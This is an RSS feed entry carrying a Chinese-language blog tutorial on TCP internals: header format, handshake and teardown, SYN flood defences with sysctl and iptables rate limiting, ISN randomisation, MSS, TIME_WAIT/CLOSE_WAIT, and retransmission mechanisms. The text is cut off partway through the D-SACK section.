<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>aLinChe_Blog</title><description>Demo Site</description><link>https://blog.alinche.dpdns.org/</link><language>zh_CN</language><item><title>TCP协议深度解析</title><link>https://blog.alinche.dpdns.org/posts/net/tcp/</link><guid isPermaLink="true">https://blog.alinche.dpdns.org/posts/net/tcp/</guid><description>全面剖析 TCP 协议核心机制：三次握手、四次挥手、重传策略、滑动窗口、流量控制、拥塞控制</description><pubDate>Sun, 12 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://xiaolincoding.com/network/3_tcp/tcp_interview.html&quot;&gt;参考文献-小林coding-TCP&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;一、TCP 基础认识&lt;/h2&gt;
&lt;p&gt;TCP（Transmission Control Protocol，传输控制协议）是互联网传输层的核心协议之一，它为应用层提供了一套&lt;strong&gt;面向连接、可靠的、基于字节流&lt;/strong&gt;的传输服务。&lt;/p&gt;
&lt;h3&gt;TCP 的三大核心特征&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;面向连接&lt;/strong&gt;：通信前必须先完成三次握手建立连接，通信结束后四次挥手断开。这是一对一的关系——不能像 UDP 那样一对多广播。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;可靠传输&lt;/strong&gt;：保证数据&lt;strong&gt;不丢、不乱、不重、不损坏&lt;/strong&gt;。通过序列号、确认应答、重传机制等手段实现。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;基于字节流&lt;/strong&gt;：发送方发的是一串字节，TCP 会自己切分成合适大小的报文段；接收方收到后再按序重组。应用层不需要关心底层分片逻辑。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;TCP 头部格式&lt;/h3&gt;
&lt;p&gt;TCP 头部&lt;strong&gt;固定 20 字节&lt;/strong&gt;（通过可选项最多扩展到 60 字节（首部长度有4位），包含以下关键字段：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;字段&lt;/th&gt;
&lt;th&gt;长度&lt;/th&gt;
&lt;th&gt;作用&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;源端口 / 目的端口&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;各 16 位&lt;/td&gt;
&lt;td&gt;标识发送方和接收方的应用进程&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;序列号(Sequence Number)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;32 位&lt;/td&gt;
&lt;td&gt;标识所发送数据的第一个数据字节的&lt;strong&gt;编号&lt;/strong&gt;。用于解决&lt;strong&gt;乱序&lt;/strong&gt;和&lt;strong&gt;重复&lt;/strong&gt;问题。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;确认应答号(ACK Number)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;32 位&lt;/td&gt;
&lt;td&gt;告诉对方&quot;我期望下一个收到的数据字节的序号&quot;，用于确认数据已成功接收，解决&lt;strong&gt;丢包&lt;/strong&gt;问题&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;首部长度(Data Offset)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;4 位&lt;/td&gt;
&lt;td&gt;指出TCP首部共有多少个32位字（4字节）。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;保留(Reserved)&lt;/td&gt;
&lt;td&gt;6 位&lt;/td&gt;
&lt;td&gt;保留供未来使用，目前置为 0。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;控制位(Flags)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;6 位&lt;/td&gt;
&lt;td&gt;URG、ACK、PSH、RST、SYN、FIN 等，用于控制 TCP 状态机&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;窗口大小(Window)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;16 位&lt;/td&gt;
&lt;td&gt;接收方通告自己目前可用的缓冲区大小，用于&lt;strong&gt;流量控制&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;校验和(Checksum)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;16 位&lt;/td&gt;
&lt;td&gt;检测头部和数据在传输过程中是否损坏&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;紧急指针(Urgent Pointer)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;16 位&lt;/td&gt;
&lt;td&gt;只有 URG 位为 1 时才有效，指出本报文段中紧急数据的结束位置。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;选项 (Options)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;可变&lt;/td&gt;
&lt;td&gt;最常见的选项是 &lt;strong&gt;MSS&lt;/strong&gt;（最大报文段长度）、窗口扩大因子、时间戳等。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;TCP 如何计算负载数据长度&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;TCP数据的长度&lt;/code&gt; = &lt;code&gt;IP总长度&lt;/code&gt; - &lt;code&gt;IP头部长度&lt;/code&gt; - &lt;code&gt;TCP头部长度&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;其中 IP总长度 和 IP首部长度 可以在 IP首部格式 中得知；TCP首部长度可以在 TCP首部格式 中得知。所以就可以求得 TCP 数据的长度。&lt;/p&gt;
&lt;h3&gt;TCP 连接的唯一标识：四元组&lt;/h3&gt;
&lt;p&gt;一条 TCP 连接由&lt;strong&gt;四元组&lt;/strong&gt;唯一确定：&lt;em&gt;（源 IP，源端口，目的 IP，目的端口）&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;这四个值中任何一个不同，就是不同的连接。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;💡：这就是为什么&quot;端口耗尽&quot;通常不是服务器端口的问题，而是客户端端口的问题。一台机器最多约 65535 个端口，所以单机到同一目标 IP:Port 的并发 TCP 连接理论上限约 6.5 万个（实际受系统配置限制）。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;二、TCP 三次握手&lt;/h2&gt;
&lt;p&gt;TCP 三次握手是建立可靠连接的基础。整个过程交换了三个报文，完成了双向序列号的同步。&lt;/p&gt;
&lt;h3&gt;握手过程&lt;/h3&gt;
&lt;p&gt;用一句话描述每一步：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;第一次握手&lt;/strong&gt;：客户端发 SYN=&quot;我想连你&quot;，附带自己的初始序列号 &lt;code&gt;seq=x&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第二次握手&lt;/strong&gt;：服务端回 SYN+ACK=&quot;收到，我也连你&quot;，附带自己的初始序列号 &lt;code&gt;seq=y&lt;/code&gt;，确认号 &lt;code&gt;ack=x+1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第三次握手&lt;/strong&gt;：客户端发 ACK=&quot;好的，连接建立&quot;，确认号 &lt;code&gt;ack=y+1&lt;/code&gt;
&lt;img src=&quot;images/TCP%E4%B8%89%E6%AC%A1%E6%8F%A1%E6%89%8B.png&quot; alt=&quot;TCP三次握手&quot; /&gt;
第三次握手时，客户端可以&lt;strong&gt;携带数据&lt;/strong&gt;——不是空跑的。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;为什么是&quot;三次&quot;？&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;原因一：防止历史连接初始化&lt;/strong&gt;
假设只有两次握手(指LISTEN状态收到SYN就直接建立连接established)，客户端发送的延迟 SYN (比如说网络拥塞) 可能在新连接建立后才到达服务端，服务端会误以为是新连接请求，导致无效连接建立。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;原因二：同步双方的序列号&lt;/strong&gt;
TCP 是全双工通信，双方都需要告诉对方自己的初始序列号，并确保得到可靠的同步。这最少需要三次报文才能完成双向确认。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;原因三：避免资源浪费&lt;/strong&gt;
如果只有两次握手，服务端一收到 SYN 就建立连接、分配资源。攻击者可以伪造大量 SYN 报文，让服务端为大量不存在的连接分配内存——这就是 &lt;strong&gt;SYN Flood 攻击&lt;/strong&gt;。&lt;/p&gt;
&lt;h4&gt;&lt;code&gt;SYN Flood&lt;/code&gt; 攻击与防范&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;正常流程&lt;/strong&gt;：客户端发送 &lt;code&gt;SYN&lt;/code&gt;，服务器接收并进入 &lt;code&gt;SYN_RECV&lt;/code&gt; 状态，将连接放入&lt;strong&gt;半连接队列(SYN Queue)&lt;/strong&gt;，并回复 &lt;code&gt;SYN-ACK&lt;/code&gt;，等待客户端的 &lt;code&gt;ACK&lt;/code&gt;。（之后接收到 ACK 报文，从 SYN 队列取出一个半连接对象，然后创建一个新的连接对象放入到全连接队列(Accept Queue)。应用通过调用 &lt;code&gt;accpet()&lt;/code&gt; socket 接口，从 Accept 队列取出连接对象。）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;攻击原理&lt;/strong&gt;：SYN Flood 是一种典型的 &lt;strong&gt;DoS&lt;/strong&gt; 攻击。攻击者伪造大量源 IP，疯狂发 SYN 报文。服务端每次都回复 SYN-ACK 并分配半连接资源，但永远收不到第三次 ACK，半连接队列被撑爆。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;防范手段&lt;/strong&gt;：主要从“队列扩容”、“加速回收”和“不占用队列”三个思路入手
&lt;h5&gt;(1) 开启 syncookies（最有效的方法）&lt;/h5&gt;
这是目前防御 SYN 攻击最主流的手段。
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;原理&lt;/strong&gt;：当半连接队列溢出时，服务器不再将连接放入队列。而是根据 &lt;code&gt;(源IP, 目的IP, 源端口, 目的端口, 时间戳)&lt;/code&gt; 等信息计算出一个 &lt;code&gt;cookie&lt;/code&gt;（特殊的序列号），放到第二次握手报文的序列号字段发给客户端。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;效果&lt;/strong&gt;：服务器&lt;strong&gt;不需要在本地分配内存&lt;/strong&gt;来存储这个半连接。直到客户端回了 &lt;code&gt;ACK&lt;/code&gt;，服务器再根据 &lt;code&gt;ACK&lt;/code&gt; 里的序列号逆运算，如果合法，才正式建立连接。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;内核参数&lt;/strong&gt;：&lt;code&gt;net.ipv4.tcp_syncookies = 1&lt;/code&gt;（默认值）。当半连接队列溢出时启用 syncookies。&lt;code&gt;net.ipv4.tcp_syncookies = 2&lt;/code&gt;。无条件启用 syncookies。&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;(2) 增大半连接队列(SYN Queue)&lt;/h5&gt;
适当调大内核参数，让队列能容纳更多的连接。
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;注意&lt;/strong&gt;：单纯增大队列只是“延缓”死亡，如果攻击流量巨大，队列终究会被填满。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;内核参数&lt;/strong&gt;：&lt;code&gt;net.ipv4.tcp_max_syn_backlog&lt;/code&gt;。（默认值 1024）&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;(3) 减少 SYN-ACK 重传次数&lt;/h5&gt;
服务器发出的 &lt;code&gt;SYN-ACK&lt;/code&gt; 如果收不到回应，默认会进行多次重传（默认值 5）。
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;原理&lt;/strong&gt;：每多重传一次，这个半连接就在队列里多占几秒钟。减少重传次数可以加快这些无效连接的关闭。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;内核参数&lt;/strong&gt;：&lt;code&gt;net.ipv4.tcp_synack_retries&lt;/code&gt;。调小响应 SYN-ACK 报文的重传次数（如 1 或 2）。（P.S. &lt;code&gt;tcp_syn_retries&lt;/code&gt;: 发送 SYN 报文的重传次数（默认值 6）&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;(4) 缩短 SYN Timeout 时间&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;通过调整内核代码（确信X），缩短半连接在 &lt;code&gt;SYN_RECV&lt;/code&gt; 状态下的存活时间，让过期的连接更早地被系统回收。（默认写死了#define TCP_TIMEOUT_INIT ((unsigned)(1*HZ))；第 $n$ 次重传的等待时间 = $2^{(n-1)} \times 1$ 秒）&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;(5) 配置防火墙或 IPS&lt;/h5&gt;
在服务器前端部署防火墙（如 Linux 的 &lt;code&gt;iptables/nftables&lt;/code&gt;）或专业的抗 DDoS 设备：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;限制 SYN 包的频率&lt;/strong&gt;：限制单个 IP 的 SYN 请求速率。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;# 1. 允许平均每秒10个新的SYN连接，突发上限为20个
iptables -A INPUT -p tcp --syn -m limit --limit 10/s --limit-burst 20 -j ACCEPT
# 2. 超过限制的 SYN 包直接丢弃
iptables -A INPUT -p tcp --syn -j DROP
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SYN Proxy&lt;/strong&gt;：硬件防火墙或高级负载均衡器拦截SYN并伪装成服务器回复SYN-ACK，只有当客户端完成了三次握手，防火墙确认这是一个真实合法的连接，才会由防火墙&lt;strong&gt;代替客户端&lt;/strong&gt;与真正的服务器建立连接。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;首包丢弃策略(First-Packet Drop)&lt;/strong&gt;：针对某些固定模式的攻击包进行拦截。（如防火墙记录下每一个新来的 SYN 包的源 IP，但直接丢弃这个首包，利用 TCP 重传机制来识别人机。）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;为什么每次建立 TCP 连接时，初始化的序列号都要求不一样呢？&lt;/h3&gt;
&lt;p&gt;在建立 TCP 连接时，双方需要通过 &lt;code&gt;SYN&lt;/code&gt; 报文交换各自的初始序列号ISN(Initial Sequence Number)（RFC 793 指出 ISN 应该随时间而变化，通常每 4 微秒加 1（现在各操作系统的实现更复杂）&lt;/p&gt;
&lt;h4&gt;1. 防止“历史报文”被下一个相同四元组的连接错误接收&lt;/h4&gt;
&lt;p&gt;在复杂的网络环境中，报文可能会因为路由跳数过多或网络拥堵，导致当报文最终到达目的地时，原来的 TCP 连接可能已经关闭，且&lt;strong&gt;恰好有一个相同四元组（源IP、源端口、目的IP、目的端口）的新连接&lt;/strong&gt;建立了。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;如果 ISN 相同：&lt;/strong&gt;
新连接的序列号范围可能与旧连接的序列号范围重叠。如果旧连接的一个“迟到”报文此时到达，且它的序列号刚好落在新连接的接收窗口内，接收方会认为这是合法的数据而接收。这会导致&lt;strong&gt;数据篡改&lt;/strong&gt;或&lt;strong&gt;连接错乱&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;如果 ISN 不同（随时间增加）：&lt;/strong&gt;
通过让 ISN 随时间变化，可以保证在一个 MSL（最大报文生存时间）内，新老连接的序列号范围大概率是&lt;strong&gt;不重叠&lt;/strong&gt;的。这样，即使旧报文飘到了新连接面前，也会因为序列号校验不通过而被丢弃。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;2. 防止黑客伪造的“序列号预测攻击”被错误接收&lt;/h4&gt;
&lt;p&gt;如果 ISN 是固定的（比如每次都从 0 开始）或者是非常容易预测的（比如线性递增），黑客就可以利用这个漏洞进行攻击。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;攻击原理（TCP序列号预测攻击）：&lt;/strong&gt;
黑客可以伪造发送方的 IP 地址，并预测出接收方（服务器）当前的序列号。由于黑客知道序列号，他可以不需要真正接收到服务器的响应包，就能直接构造出一个合法的 &lt;code&gt;ACK&lt;/code&gt; 报文（甚至带有恶意载荷的数据包）发给服务器。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;后果：&lt;/strong&gt;
黑客可以借此建立伪装连接、篡改数据或者进行会话劫持(Session Hijacking)，从而跳过身份验证。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;解决方案：&lt;/strong&gt;
现代操作系统通常采用&lt;strong&gt;伪随机算法&lt;/strong&gt;来生成 ISN。通常结合了：四元组的哈希值 + 一个随时间递增的计时器 + 系统的一个随机密钥。&lt;br /&gt;
这样生成的 ISN 对于每个连接都是独立且不可预测的，极大地增加了黑客伪造包的难度。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;既然 IP 层会分片，为什么 TCP 层还需要 MSS 呢？&lt;/h3&gt;
&lt;p&gt;要理解这个问题，我们先看两个关键概念：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;MTU (Maximum Transmission Unit)&lt;/strong&gt;：数据链路层（以太网）能通过的最大数据包大小，通常是 &lt;strong&gt;1500 字节&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MSS (Maximum Segment Size)&lt;/strong&gt;：传输层 TCP 允许发送的最大&lt;strong&gt;净载荷&lt;/strong&gt;（Data）大小。为了不触发 IP 分片，通常 $MSS = MTU - IP首部 - TCP首部$（即 $1500 - 20 - 20 = 1460$ 字节）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;1. IP 分片的致命缺陷：一损俱损&lt;/h4&gt;
&lt;p&gt;如果 TCP 不限制发送大小（比如一次性发 5000 字节），那么 IP 层就会根据 MTU 进行(被动)分片（分成 4 个片段）。
&lt;strong&gt;致命问题在于：IP 层本身没有重传机制。&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;场景&lt;/strong&gt;：假设一个 IP 报文被分成了 4 个分片（Fragment 1~4）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;意外&lt;/strong&gt;：在传输过程中，Fragment 2 丢了。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;结果&lt;/strong&gt;：
&lt;ol&gt;
&lt;li&gt;接收方的 IP 层由于收不齐所有的分片，&lt;strong&gt;无法组装&lt;/strong&gt;出完整的 IP 报文。&lt;/li&gt;
&lt;li&gt;接收方的 IP 层会直接&lt;strong&gt;丢弃&lt;/strong&gt;已经收到的 Fragment 1, 3, 4。&lt;/li&gt;
&lt;li&gt;发送方的 TCP 层因为迟迟收不到确认，会触发&lt;strong&gt;超时重传&lt;/strong&gt;，重新发送那整个 5000 字节的 TCP 段。&lt;/li&gt;
&lt;li&gt;这导致了极大的带宽浪费和重传开销。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;2. TCP MSS 的解决方案：源头切分，精准补发&lt;/h4&gt;
&lt;p&gt;为了避免 IP 分片带来的低效，TCP 协议在握手阶段会通过 &lt;strong&gt;MSS&lt;/strong&gt; 字段协商出一个“安全大小”。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;策略&lt;/strong&gt;：TCP 在发送数据前，就按照 MSS 把应用层数据&lt;strong&gt;主动切分&lt;/strong&gt;成一个个小的报文段。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;效果&lt;/strong&gt;：
&lt;ol&gt;
&lt;li&gt;经过 TCP 封装后的整个 IP 报文大小&lt;strong&gt;小于等于 MTU&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;这样到了 IP 层，IP 发现：“哎呀，这个包正好能装进以太网帧里，不用分片了，直接发！”&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;优势&lt;/strong&gt;：
如果网络中丢了一个 TCP 报文段，&lt;strong&gt;TCP 只需要重传这一个报文段即可&lt;/strong&gt;。其他顺利到达的报文段会被接收方暂存在缓冲区，不需要像 IP 分片那样全盘重来。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;三、TCP 四次挥手&lt;/h2&gt;
&lt;p&gt;TCP 连接的断开过程叫&quot;四次挥手&quot;。&lt;/p&gt;
&lt;h3&gt;挥手过程&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;images/TCP%E5%9B%9B%E6%AC%A1%E6%8C%A5%E6%89%8B.png&quot; alt=&quot;TCP四次挥手&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;被动关闭连接的，直接进入 CLOSE_WAIT 状态，等待应用调用 close() 关闭连接
主动关闭连接的，才有 TIME_WAIT 状态&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;为什么是&quot;四次&quot;而不是&quot;三次&quot;？&lt;/h3&gt;
&lt;p&gt;因为 TCP 是全双工通信，被动方收到 FIN 后可能还有数据要发送，不能立即关闭，故先回 ACK，再发 FIN。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;关闭连接时，客户端向服务端发送 FIN 时，仅仅表示客户端不再发送数据了但是还能接收数据。&lt;/li&gt;
&lt;li&gt;服务端收到客户端的 FIN 报文时，先回一个 ACK 应答报文，而服务端可能还有数据需要处理和发送，等服务端不再发送数据时，才发送 FIN 报文给客户端来表示同意现在关闭连接。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;TIME-WAIT 状态&lt;/h3&gt;
&lt;p&gt;主动关闭方进入 TIME-WAIT 后，会等待 &lt;strong&gt;2MSL&lt;/strong&gt;（Maximum Segment Lifetime，报文在网络中的最大寿命 通常 60 秒）才关闭。
&lt;strong&gt;为什么要等待 2MSL？&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;确保对方收到最后的 ACK&lt;/strong&gt;：如果 ACK 丢失，服务端会重传 FIN，客户端还在 TIME-WAIT 可以再次回 ACK&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;防止旧报文被新连接误收&lt;/strong&gt;：等待2MSL确保旧报文已全部失效、网络环境已干净，防止新连接在使用相同四元组时接收到的是旧数据&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;服务器出现大量的 CLOSE-WAIT&lt;/h3&gt;
&lt;p&gt;这发生在被动关闭连接的一方。生产环境中如果经常看到大量 CLOSE-WAIT 连接，这通常是&lt;strong&gt;应用APP的bug&lt;/strong&gt;的表现——应用层收到 FIN 后没有正确调用&lt;code&gt;close()&lt;/code&gt;。如连接池/资源池泄露、业务处理死循环/死锁未执行到&lt;code&gt;close()&lt;/code&gt;、异常路径未正确释放socket连接等。
（用 &lt;code&gt;netstat -an | grep CLOSE_WAIT&lt;/code&gt; 找到对应的端口，从应用日志反向追踪。）&lt;/p&gt;
&lt;h3&gt;服务器出现大量的 TIME_WAIT&lt;/h3&gt;
&lt;p&gt;这发生在主动关闭连接的一方。如果服务端作为客户端去请求第三方接口（如爬虫或调用API），会产生大量 TIME_WAIT。
（开启&lt;strong&gt;端口复用&lt;/strong&gt;（一般只在客户端）：内核参数 net.ipv4.tcp_tw_reuse = 1，允许将 TIME_WAIT 状态的端口重新用于新连接。调整短连接为&lt;strong&gt;长连接&lt;/strong&gt;：减少频繁的拆建。）&lt;/p&gt;
&lt;h4&gt;net.ipv4.tcp_tw_reuse = 1 通过 TCP Timestamps时间戳 代替 “等待 2MSL”&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;第四次挥手ACK丢失问题&lt;/strong&gt;：
ACK丢失，并复用了端口来请求同一个服务器。服务器服务器会根据新 SYN 包的时间戳，知晓上一个连接最后的ACK丢失了，然后直接释放掉之前那个处于 &lt;code&gt;LAST_ACK&lt;/code&gt; 的旧Socket对象，创建一个处于 &lt;code&gt;SYN_RECV&lt;/code&gt; 状态的新Socket对象。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;旧报文问题&lt;/strong&gt;：&lt;code&gt;PAWS&lt;/code&gt;(Protection Against Wrapped Sequence Numbers):
内核会记录来自同一IP的连接上一次收到的报文的时间戳。TCP 协议栈一旦发现收到的报文时间戳“过期”了，就会直接丢弃该报文。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;为什么 Wireshark 抓包有时看到只有“三次挥手”&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;TCP &lt;code&gt;捎带确认&lt;/code&gt;(Piggybacking)机制：（“数据 + ACK”）如果接收方收到了数据，理应立刻回一个 ACK 包。但如果此时接收方正好也有数据要发给对方，那么它就可以把这个 ACK 放入要发送的数据报文段中，一次性发过去。
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;延迟确认&lt;/code&gt;(Delayed ACK)：通过定时器等待，如果这期间应用层有数据要回就触发“捎带确认”，减少纯ACK小包，提高带宽利用率。
&lt;ul&gt;
&lt;li&gt;延迟确认定时器：防止“等得太久”导致发送方重传（&lt;code&gt;RTO&lt;/code&gt;超时重传时间）&lt;/li&gt;
&lt;li&gt;报文数量限制：每收到 2 个满MSS长度的报文段，必须发送一个 ACK。（维持发送方的&lt;strong&gt;拥塞窗口&lt;/strong&gt;&lt;code&gt;cwnd&lt;/code&gt;增长速度）&lt;/li&gt;
&lt;li&gt;存在缺失(乱序)报文：立即发送 &lt;code&gt;Duplicate ACK&lt;/code&gt;，以触发快速重传。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;close() 与 shutdown() 的区别&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;close()&lt;/code&gt;函数是&lt;strong&gt;通用的文件操作&lt;/strong&gt;函数，会同时关闭 socket 的发送方向和接收方向。如果有多进程/多线程共享同一个socket，一个进程调用了close()仅会让 socket 引用计数 -1，只有当引用计数减为 0 时，操作系统才会真正销毁socket，并向对方发送 FIN 报文&lt;/li&gt;
&lt;li&gt;&lt;code&gt;shutdown()&lt;/code&gt;是专为网络编程设计的函数，是&lt;strong&gt;优雅的关闭方式&lt;/strong&gt;，其核心逻辑是&lt;strong&gt;切断 TCP 连接的状态&lt;/strong&gt;，而不顾及引用计数。有SHUT_RD、SHUT_WR、SHUT_RDWR精细化控制关闭的方向。如在四次挥手客户端主动调用shutdown(fd, SHUT_WR)触发“半关闭”状态，内核强制发送 FIN 报文，然后正常完成四次挥手。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;四、TCP 重传机制&lt;/h2&gt;
&lt;p&gt;TCP 通过重传丢失的数据包来保证可靠性，主要有以下四种方式:&lt;/p&gt;
&lt;h3&gt;超时重传(Retransmission Timeout)&lt;/h3&gt;
&lt;p&gt;发送数据后启动定时器，若在 RTO（超时重传）内未收到 ACK，则重传数据。（RTO 必须动态调整，因为它依赖于RTT(Round-Trip Time 往返时延)
&lt;strong&gt;RTO 计算&lt;/strong&gt;：$ RTO = SRTT + 4 × RTTVAR $&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SRTT 是 平滑RTT 反映平均网络延迟；RTTVAR 是 RTT偏差 反映网络波动的剧烈程度。&lt;/li&gt;
&lt;li&gt;指数退避：若连续重传仍超时，RTO 会翻倍（如：1s -&amp;gt; 2s -&amp;gt; 4s...）。这能避免在网络拥塞严重时，频繁重传导致网络压力进一步增大。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;快速重传(Fast Retransmit)&lt;/h3&gt;
&lt;p&gt;收到&lt;strong&gt;3个重复的 ACK&lt;/strong&gt;时，立即重传对方期望的这个序号的数据包，而&lt;strong&gt;不必等待超时&lt;/strong&gt;。（局限性：它只解决了“重传”的时机问题，但面临“重传多少”的困境）&lt;/p&gt;
&lt;h3&gt;SACK(Selective Acknowledgment)&lt;/h3&gt;
&lt;p&gt;在 TCP 头部选项字段中告知发送方&lt;strong&gt;已正确接收的不连续数据块&lt;/strong&gt;，发送方仅重传真正丢失的数据段，&lt;strong&gt;避免冗余重传&lt;/strong&gt;。(sysctl net.ipv4.tcp_sack  # Linux 默认开启)&lt;/p&gt;
&lt;h3&gt;D-SACK(Duplicate SACK)&lt;/h3&gt;
&lt;p&gt;D-SACK 是 SACK 的扩展，利用 SACK 块告知发送方&lt;strong&gt;哪些数据被重复接收了&lt;/strong&gt;。其核心作用是&lt;strong&gt;让发送方区分是“丢包”还是“延迟”&lt;/strong&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;判断 ACK 丢失&lt;/strong&gt;：如果因 ACK 丢失触发了&lt;strong&gt;超时重传&lt;/strong&gt;，接收方通过 D-SACK 告知“你重传的包我之前就收到了”，ACK已经到10086了。然后发送方就知道是 ACK(10086) 丢了，不需要撤回拥塞窗口的减小操作，继续正常发送。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;判断网络延迟/乱序&lt;/strong&gt;：如果是网络拥塞等触发了&lt;strong&gt;快速重传&lt;/strong&gt;，结果旧包又到了，D-SACK 告知发送方这是&lt;strong&gt;虚假重传&lt;/strong&gt;。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
